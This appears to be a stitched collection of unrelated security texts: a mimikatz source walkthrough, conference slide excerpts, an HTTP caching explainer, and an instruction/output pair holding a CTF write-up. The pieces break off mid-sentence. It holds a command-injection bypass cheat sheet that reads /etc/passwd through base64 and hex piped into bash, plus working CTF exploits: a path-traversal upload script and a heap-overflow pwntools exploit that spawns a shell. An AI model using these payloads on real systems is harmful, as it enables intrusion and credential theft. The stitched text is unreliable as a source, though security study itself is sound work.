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S-Mimikatz源码调试 前期准备 mimikatz源码地址 调试环境 vs2019 几点设置 1. 因为官方项目没有debug方案所以需要手动添加debug配置 2. 项目属性配置 程序入口 调试以 privilege::debug 为例打开调试-> mimikatz 调试属性->配置属性->调试->命令参数 wmain()是 mimikatz`的入口函数 命令分发 从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数 这里首先有一个 kull_m_file_fullPath 方法然后进行匹配暂时不知道具体作用是什么之 后进入 mimikatz_doLocal() 方法 命令执行 在对命令进行请求分发之后获取到 module 和 commond 两个参数之后就进入了命令执行的阶段 这个地方涉及到结构体的知识 首先 mimikatz_modules[] 是一个数组数组里面存放的是每一个模块的结构体的指针那么第 210行就是将 module 的值和每个模块结构体中定义的 shortName 进行比较如果相同返回0 结构体的结构在 kuhl_m.h 这个头文件中进行定义 之后第213和214两行相同的方式去寻找同一个模块下存在的 command 每个模块都预先定义一个 数组存放全部的可执行方法的信息 最重要的就是第215行 status = mimikatz_modules[indexModule]- >commands[indexCommand].pCommand(argc - 1, argv + 1); 执行这个模块和命令 mimikatz_modules[indexModule]->commands[1] 这一步相当于找到了 kuhl_m_c_privilege[] 这个数组的第一个元素然后这个 const KUHL_M_C kuhl_m_c_privilege[] 数组是一个结构体数组这个第一项表示的是一个 指针函数 那后面 的 .pCommand(argc - 1, argv + 1) 就是去调用 kuhl_m_privilege_debug 这个函数 可以看到的是对于 privilege::debug 这个功能执行的函数是 kuhl_m_privilege_simple() 而最后调用的系统API是 RtlAdjustPrivilege()  至此整个简单的流程分析已经结束了关于 mimikatz 的请求流程和命令分发已经了解清楚 了 S-Mimikatz_msv模块 NTSTATUS kuhl_m_privilege_simple(ULONG privId) { ULONG previousState; NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); if(NT_SUCCESS(status)) kprintf(L"Privilege \'%u\' OK\n", privId); else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status); return status; } 模块介绍 在 mimikatz 中 msv 模块的作用是枚举 LM 和 NTLM 凭证 KUHL_M_C 结构体中的描述是 Lists LM & NTLM credentials 根据之前分析的命令分发过程 sekurlsa::msv 最终通过函数指针调用 函数 kuhl_m_sekurlsa_msv() 函数文件位置 kuhl_m_seckurlsa_msv1_0.c 结构体 KUHL_M_SEKURLSA_PACKAGE 此处可以看到 ModuleName 的值设置为 lsasrv.dll 这个 也是抓取 NTML 的重点模块 KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package = {L"msv", kuhl_m_sekurlsa_enum_logon_callback_msv, TRUE, L"lsasrv.dll", {{{NULL, NULL}, 0, 0, NULL}, FALSE, FALSE}}; const PKUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_single_package[] = {&kuhl_m_sekurlsa_msv_package}; NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[]) { return kuhl_m_s


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Dont Whisper My Chips ColinOFlynn.com  DEFCON 2015. 1 Colin OFlynn  Dalhousie University  Halifax, NS. Canada. Objective: Learn about all sorts of physical layer attacks. Critical Difference: Everything Im showing you is open source and freely available. Most of the hardware is commercially available (its difficult for hardware to be free), but you can DIY it too if you wish, or use existing tools (e.g. oscilloscope). www.NewAE.com Open Source Tools Posted to: www.ChipWhisperer.com ColinOFlynn.com  DEFCON 2015. 2 ColinOFlynn.com  DEFCON 2015. 3 ColinOFlynn.com  DEFCON 2015. 4 ColinOFlynn.com  DEFCON 2015. 5 ColinOFlynn.com  DEFCON 2015. 6 Embedded System: ColinOFlynn.com  DEFCON 2015. 8 Not an Embedded System: unsigned char correctpin[6] = {1,2,3,4,5,6}; unsigned char enteredpin[6]; read_pin_from_buttons(enteredpin); for (i = 0; i < 6; i++){ if (correctpin[i] != enteredpin[i]){ return; } } ColinOFlynn.com  DEFCON 2015. 10 ColinOFlynn.com  DEFCON 2015. 11 ColinOFlynn.com  DEFCON 2015. 12  Important: Must discover when microcontroller detects button press, not when user presses button  Need to do some slight reverse-engineering to discover if using multiplexing, how often polling of buttons, etc ColinOFlynn.com  DEFCON 2015. 13 ColinOFlynn.com  DEFCON 2015. 14 ColinOFlynn.com  DEFCON 2015. 15  Dont compare input directly to saved password  Ideally: use hashes, also prevents attacker from reading out memory  Dont give any response when wrong  No timing information easily available  Depends how you define easily though. ColinOFlynn.com  DEFCON 2015. 16  TinySafeBoot (TSB) is Awesome Bootloader for AVRs  See http://jtxp.org/tech/tinysafeboot_en.htm  DOES NOT claim any sort of cryptographic protection  BUT  What if someone uses it expecting it to be secure? ColinOFlynn.com  DEFCON 2015. 17 CheckPW: chpw1: lpm tmp3, z+ ; load character from Flash cpi tmp3, 255 ; byte value (255) indicates breq chpwx ; end of password -> okay rcall Receivebyte ; else receive next character


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1 Injectable Exploits Kevin Johnson  kevin@inguardians.com Justin Searle  justin@inguardians.com Frank DiMaggio  frank@secureideas.net Copyright 2009 InGuardians, Inc. 2 Copyright 2009 InGuardians, Inc. Who are we?  Kevin Johnson  BASE/SamuraiWTF/Laudanum/Yokoso! Project Lead  Penetration Tester  Author and instructor of SANS SEC542  Justin Searle  SamuraiWTF/Yokoso!/Middler Project Lead  Penetration Tester  SmartGrid and Embedded Hardware Researcher  Frank DiMaggio  Web App Security Researcher  Laudanum Project Lead 3 Copyright 2009 InGuardians, Inc. ' or 42=42 -- 4 Copyright 2009 InGuardians, Inc. Its not the Answer ' or 42=42 -- Its the question! 5 Copyright 2009 InGuardians, Inc. Injection Flaws  Injection flaws == the attacker is able to inject content into the application  We love applications that trust users  Categories include  SQL injection  XSS  CSRF  Command Injection  etc 6 Copyright 2009 InGuardians, Inc. Injectable Exploits  Injectable exploits == FUN!  Many different things can happen  SQL injection is one of the most popular  Many different attacks  Retrieving records  Changing transaction  Execute Commands  Write files! 7 Laudanum http://laudanum.inguardians.com 8 Copyright 2009 InGuardians, Inc. Laudanum  Laudanum: also known as opium tincture or tincture of opium, is an alcoholic herbal preparation of opium. It is made by combining ethanol with opium latex or powder. Laudanum contains almost all of the opium alkaloids, including morphine and codeine. A highly potent narcotic by virtue of its morphine content. wikipedia  An awesome open source project that makes exploitation easier. 9 Copyright 2009 InGuardians, Inc. Pieces of Laudanum  Exploit scripts designed for injection  Multiple functions  Written in popular web scripting languages  PHP, ASP, CFM, JSP 10 Copyright 2009 InGuardians, Inc. Examples of Included Functions  DNS Query  Active Directory Query  Nmap Scans  LDAP Retrieval  Shell (Yeah!) 11 Copyright 2009 InGuardians, Inc. SQL Injectio


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Safety of the Tor network A look at network diversity, relay operators, and malicious relays Runa A. Sandvik  Developer for the Tor Project  Worked with/for Tor since GSoC 2009  Frequent traveler What this talk is about  Is the Tor network a CIA honeypot?  Are all relays malicious?  Looked at all consensus ﬁles created between late 2007 and mid 2013 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 Number of relays in all countries The Tor Project  https://metrics.torproject.org/ 0 1000 2000 3000 2008 2009 2010 2011 2012 2013 High-level statistics  95,314 unique nicknames  1,595,879 unique IP address  230,595 unique ﬁngerprints  195 different countries Top countries  The US  Germany  France  Russia  Netherlands  United Kingdom Top nicknames  Popular nicknames: Unnamed, default, ididnteditheconﬁg, idideditheconﬁg, MgeniUser, anonymous  anonymous (Germany, Sweden, US, Ukraine) versus Anonymous (US, Germany, Ukraine, Japan)  A lot of Orbot relays in the Middle East What is average?  Uptime  Lifetime  Bandwidth  Utilization So its all good?  China  Russia  Eastern European botnet Network diversity  Different relays owned by


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// `id` $(id) \nid idwhoami id&&whoami id||whoami // {ls,-l} ls\t-l $(printf "\154\163") l''s'' l""s l``s l\s ls$u cat /???/pass* cat /etc$u/passwd cat /etc/pass{wd,} a=c;b=a;c=t; $a$b$c 1.txt //base64 echo 'cat' | base64 `echo 'Y2F0wqAK' | base64 -d` 1.txt //base64cat /etc/passwd echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash //16cat /etc/passwd echo "636174202F6574632F706173737764" | xxd -r -p|bash // cd - // cd ~test ///home/test memo 0x00 0x01 0x02 0x03 0x04


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# Vary --- ## Vary 的作用 Vary 一般出现在 HTTP 请求的响应信息头部比如像下面这样 ``` HTTP/1.0 200 OK Date: Fri, 24 Sep 2010 23:09:32 GMT Content-Type: application/json;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding,User-Agent Age: 1235 X-Cache: HIT from cache.kolich.local X-Cache-Lookup: HIT from cache.kolich.local:80 Content-Length: 25090 Connection: close ``` 或者是这样 ``` HTTP/1.1 200 OK Server: nginx Date: Tue, 31 Dec 2013 16:34:48 GMT Content-Type: application/x-javascript Content-Length: 66748 Last-Modified: Tue, 31 Dec 2013 14:30:52 GMT Connection: keep-alive Vary: Accept-Encoding ETag: "52c2d51c-104bc" Expires: Fri, 29 Dec 2023 16:34:48 GMT Cache-Control: max-age=315360000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ``` **Vary 出现在响应信息中的作用是什么呢** 首先这是由服务器端添加添加到响应头部大部分情况下是用在客户端缓存机制或者是缓存服务器在做缓存操作的时候会使用到 Vary 头会读取响应头中的 Vary 的内容进行一些缓存的判断 对于服务器提供的某个接口来说有时候会出现不同种类的客户端对其进行网络请求获取数据不同的客户端可能支持的压缩编码方式不同可能有的客户端不支持压缩那么服务器端返回的数据就不能压缩有的支持 gzip 编码那么服务器端就可以进行 gzip 编码返回给客户端客户端获取到数据之后做响应的 gzip 解码还有种情况对于不同的客户端需要的内容不一样比如针对特定浏览器要求输出的内容不一样比如在 IE6 浏览器上要输出不一样的内容这就需要服务器端做不同的数据返回所以说服务器提供的同一个接口客户端进行同样的网络请求对于不同种类的客户端可能需要的数据不同服务器端的返回方式返回数据也会不同对于这个问题的解决我们可以在请求信息添加 Accept-EncodingUser-Agent 等头部 这些都没有问题顺利的解决了我们上面提出的问题然而当使用到缓存的时候就会有问题比如要求针对 IE5 和 IE6 显示不同的数据针对同一接口的同样的请求缓存服务器中分别存储了 IE5 和 IE6 两份数据由于同样的接口同样的请求一旦服务器判定要从缓存中获取数据的话很有可能会导致两个客户端的请求拿到同一份数据这就会让那个数据展示出现问题再比如说A类客户端支持压缩格式 gzipB 类客户端不支持压缩对于同一个接口同样的请求如果服务器端打算从缓存服务器中取出数据返回的话AB 两类客户端可能会收到同样的数据这样要就会导致编解码出错 这时候我们的 Vary 响应头就登场了Vary 的字面意思是不一多样化顾名思义它的存在区分同样的网络请求的不同之处其实就是通过头部信息来区分 *一个简单的 Vary 头包括* ``` Vary: Accept-Encoding Vary: Accept-Encoding,User-Agent Vary: X-Some-Custom-Header,Host Vary: * ``` Vary 存在于响应头中它的内容来自于请求头中相关字段Vary 头的内容如果是多条则用 `,` 分割缓存服务器会将某接口的首次请求结果缓存下来包括响应头中的 Vary后面在发生相同请求的时候缓存服务器会拿着缓存的 Vary 来进行判断比如 Vary: Accept-Encoding,User-Agent那么 Accept-Encoding 与 User-Agent 两个请求头的内容就会作为判断是否返回缓存数据的依据当缓存服务器中相同请求的缓存数据的编码格式代理服务与当前请求的编码格式代理服务一致那就返回缓存数据否则就会从服务器重新获取新的数据当缓存服务器中已经缓存了该条请求那么某次服务器端的响应头中如果 Vary 的值改变则 Vary 会更新到该请求的缓存中去下次请求会对比新的 Vary 内容 *


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Android Universal Root Exploiting xPU Drivers Xingyu Jin Richard Neal Jon Bottarini #BHUSA @BlackHatEvents #BHUSA @BlackHatEvents Who are we? Jon Bottarini @jon_bottarini Xingyu Jin @1ce0ear Richard Neal @ExploitDr0id #BHUSA @BlackHatEvents What are we talking about?  Rooting exploits on Android  In-the-wild  Internal research  Android Partner Vulnerability Initiative #BHUSA @BlackHatEvents Some old driver vulns #BHUSA @BlackHatEvents mtk-su Exploit #BHUSA @BlackHatEvents XDA Developers #BHUSA @BlackHatEvents XDA Developers #BHUSA @BlackHatEvents 6f35a3ff: /dev/ion 4b4ab49b: /dev/mtk_cmdq 6d7a00fc: /proc/mtk_cmdq Reverse engineering the exploit #BHUSA @BlackHatEvents  CMDQ_IOCTL_EXEC_COMMAND  Send a buffer of opcodes from user -> kernel  Opcodes - CMDQ_CODE_ENUM CVE-2020-0069 #BHUSA @BlackHatEvents  Restrict access via SELinux policy:  Can't open device node:  SELinux Fix #BHUSA @BlackHatEvents Lessons Learned #BHUSA @BlackHatEvents GPU Driver: Perfect Local Attack Surface  Its impossible to restrict unprivileged users from accessing GPU driver  GPU device driver exports a lot of functionality to userspace  Mobile GPU  ARM: Mali  Qualcomm: Adreno  Imagination Technologies: PowerVR Google received a lot of security reports Only 1 in 2019 #BHUSA @BlackHatEvents PowerVR GPU is everywhere  PowerVR may have the biggest market share in numbers (MediaTek / UniSoc) Use PowerVR GPU #BHUSA @BlackHatEvents Intro to Bridge APIs  No surprise, unprivileged user can talk to PowerVR GPU driver  PowerVR GPU driver exports hundreds of kernel functions to userspace  Exported functions are called Bridge functions by PowerVR developers  Three steps  Open device  Send ioctl code and arguments  Get response #BHUSA @BlackHatEvents Intro to Bridge APIs  Bridge APIs #BHUSA @BlackHatEvents Intro to Bridge APIs  Overview of how Bridge APIs work  Every step is buggy #BHUSA @BlackHatEvents Heap overflow in Bridge APIs  Call Bridge API PVRSRVBridgeSyncPrimOpTake  Group ID 2, Function ID 9  Input


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Porosity Decompiling Ethereum Smart-Contracts Matt Suiche (@msuiche) Founder, Comae Technologies m@comae.io Whoami @msuiche Comae Technologies OPCDE - www.opcde.com First time in Vegas since BlackHat 2011 Mainly Windows-related stuff CloudVolumes (VMware App Volumes) Memory Forensics for DFIR (Hibr2Bin, DumpIt etc.) looks like such fun guy  TheShadowBrokers Didnt know much about blockchain before this project Just so you know We wont talk about POW/POS stuff We wont talk about Merkle Trees We wont talk about how to becoming a crypto-currency millionaire We will talk about the Ethereum EVM We will talk about Solidity We will talk about smart-contract bytecodes And yes, the tool isnt perfect  Agenda Ethereum Virtual Machine (EVM) Memory Management Addresses Call Types Type Discovery Smart-Contract Code Analysis Known Bugs Future Solidity Solidity the quality or state of being firm or strong in structure. But also the name of Ethereums smart-contracts compiler Porosity is the quality of being porous, or full of tiny holes. Liquids go right through things that have porosity. But also the name of Comaes smart-contract decompiler. Accounts Normal Accounts: 3,488,419 (July 15) Contract Accounts: 930,889 (July 15) Verified Contract Accounts: 2285 (July 15) Source code is provided. 40M$ lost in July 10M$ in CoinDashs ICO http://www.coindesk.com/coindash-ico-hacker-nets-additional- ether-theft-tops-10-million/ 30M$ due to Paritys wallet.sol vulnerability https://blog.parity.io/security-alert-high-2/ https://github.com/paritytech/parity/pull/6103 Ethereum Virtual Machine (EVM) Account/Contract/Blockchain A Smart-Contract is made of bytecode stored in the blockchain. An address is a 160-bits value & corresponds to an account Operates 256-bits pseudo-registers EVM does not really have registers, but uses a virtual stack to replace them. Solidity & Smart Contracts Solidity compiles JavaScript-like code into Ethereum bytecode. contract Coin { // The keyword "public" makes those va


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--- title: 调整输出的信息等级 --- ## 调整输出的信息等级 为了方便调试与排错CF 提供了以下 7 个输出等级 | 序号 | 等级 | 名称 | 描述 | | :--: | :---: | :------------: | :--------------------------------: | | 1 | trace | 追踪 | 最详细的输出等级 | | 2 | debug | 调试 | 次详细的输出等级 | | 3 | info | 信息 | 程序默认的输出等级 | | 4 | warn | 警告 | 程序出现警告时的输出等级 | | 5 | error | 错误 | 程序出现错误时的输出等级 | | 6 | fatal | 致命错误 | 程序出现致命错误时输出的等级 | | 7 | panic | 不可预见的错误 | 程序出现不可预见的错误时输出的等级 | 在 CF 的任何命令中都可以使用 `--logLevel` 参数去指定输出信息的等级 在这几个等级中debug 是比较常用的等级例如以 debug 输出等级列出阿里云的 ECS 实例 ```bash cf alibaba ecs ls --logLevel debug ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>


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安全文本分析：

2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission. Page 1 SQL Injection Are Your Web Applications Vulnerable? A White Paper from SPI Dynamics  2002 SPI Dynamics, Inc. All Right Reserved. No reproduction or redistribution without written permission. Page 2 TABLE OF CONTENTS 1. OVERVIEW AND INTRODUCTION TO WEB APPLICATIONS AND SQL INJECTION3 1.1. Overview ....................................................................................................................................................3 1.2. Background................................................................................................................................................3 1.3. Character encoding...................................................................................................................................3 2. TESTING FOR VULNERABILITY............................................................................................. 4 2.1. Comprehensive testing..............................................................................................................................4 2.2. Testing procedure......................................................................................................................................4 2.3. Evaluating results......................................................................................................................................5 3. ATTACKS....................................................................................................................................... 6 3.1. Authorization bypass ................................................................................................................................6 3.2. SELECT.....................................................................................................................................................7 3.2.1. Direct vs. Quoted.....................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

CTF-WP-Nu1L CTF-WP-Nu1L WEB Game who_are_you? show_me_your_image PWN PWN1 PWN2 MISC 24word Reverse Flat srcleak py Crypto sm4 dp WEB Game who_are_you? xxe show_me_your_image 34 aaa.png/aaaaaa.png/aaaaaaaaa.png hint/root/ﬂag.txt # coding: UTF-8 import base64 import requests import urllib import re PWN PWN1 url="http://8037491c16b9419cbfde37b3412f2850ab40994a932a4b57.changame.ichun qiu.com/" def endfile(payload): filename=payload+'.png' url_base=url+'upload.php' named=requests.post(url=url_base,files={'file':(filename,'text')}) return urllib.unquote(named.text.split('img.php?name=')[1])[:4] payload = "../../../../../../.././root/flag.txt" if len(payload) % 3 != 0: exit('sorry') filed=re.findall(r'.{3}', payload) endf="" for i in range(0,len(filed)): print filed[i] endf += endfile(filed[i]) print requests.get(url+"img.php?"+urllib.urlencode({'name':endf})).text from pwn import * #io = process(['python','./test.py']) io = remote('df0a72047d6c.gamectf.com', 10001) #io = process('./pwn') import base64 context(arch='i386') global p def add(size,cont): global p p+='1\n' p+=str(size)+'\n' p+=cont def dele(idx): global p p+='2'+'\n' p+=str(idx)+'\n' def edit(idx,cont): global p p+='3'+'\n' p+=str(idx)+'\n' p+=cont PWN2 io.recvuntil('token') io.sendline('icq61ef0bb5a3803759c3c5a890adcea') raw_input() p='' add(0x200,'x'*0x200) add(0x200,'x'*0x200) add(0x200,'x'*0x200) add(0x200,'x'*0x200) add(0x104,'a'*0x104) add(0x104,'b'*0x104) add(0x104,'c'*0x104) edit(4,0x104*'a') edit(4,'aaaa'+p32(0x101)+p32(0x80eba50-12)+p32(0x80eba50- 8)+'a'*0xf0+p32(0x100)+'\x08\x01') dele(5) edit(4,p32(0x80eba40)+'\n') edit(1,p32(0x80ea4d8)+p32(0x80eba44)+p32(0x80ebad0)+'\n') edit(2,asm(shellcraft.sh())+'\n') edit(0,p32(0x80ebad0)+'\n') #raw_input("4") p+='1\n' #raw_input("5") p+='100\n' p+='cat /flag\n' #raw_input("6 ok") #p.sendline('icq61ef0bb5a3803759c3c5a890adcea') pay = base64.b64encode(p) print pay io.sendline(pay) io.interactive() from pwn import * def add(size,cont): p.recvuntil('>>>') p.sendl